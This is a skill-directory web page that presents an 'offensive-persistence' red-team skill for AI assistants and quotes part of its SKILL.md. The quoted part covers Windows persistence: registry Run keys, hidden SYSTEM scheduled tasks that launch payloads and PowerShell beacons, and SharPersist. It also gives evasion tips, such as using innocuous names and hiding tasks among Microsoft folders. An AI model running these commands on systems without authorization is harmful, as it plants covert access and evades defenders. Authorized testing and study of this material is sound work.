Skip to content
Skillpedia
Security10k · #11966

offensive-persistence

What it does

This skill covers persistence techniques on Windows and Linux that red teams test in authorized engagements, such as autostart keys, scheduled tasks and services. It stresses reversible methods and clean removal. It is for security professionals with written permission.

When to use it

  • ✓When you are testing whether an attacker could keep access after a reboot in an authorized test.
  • ✓When you need to check autostart locations, scheduled tasks or services on a Windows machine.
  • ✓When you want to record every persistence mechanism so it can be removed at the end of an engagement.

Skill link

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“We are authorized to test our Windows endpoints. Check which persistence mechanisms are possible and document how to remove them.”

5 new skills a week. 1 minute to read.

How it works

The skill checks your privilege level and the target's operating system first. It then selects a mechanism that fits, validates it survives a reboot, and records the exact location for cleanup.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.

Quick Workflow

  1. Assess your current privilege level (user-level vs admin/root vs domain admin).
  2. Identify the target OS version and security controls in place.
  3. Select a persistence mechanism matching your access level and stealth needs.
  4. Validate the persistence survives a reboot or logoff event.
  5. Document the exact mechanism and location for cleanup during engagement close.
  6. Layer multiple persistence methods at different privilege levels when scope allows.
  7. Prefer reversible methods that you can fully remove during remediation.

Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.


Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

Using PowerShell for more control:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC note: Nest task names under existing Microsoft directories (e.g., Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.


Windows: WMI Event

FAQ

Why does the skill prefer reversible methods?

The skill says to use methods that can be fully removed during remediation, so the client is left clean.

What Windows techniques does it cover?

It covers registry autostart keys, scheduled tasks, WMI subscriptions and service creation, among others.

Is this for authorized tests only?

Yes. It is written for engagements with written permission.

Details

Original description by the author

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backd

repo: SnailSploit/Claude-Red

Popularity

GitHub stars
10k
Ranking position
#11966
License
MIT
Updated
10/12/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills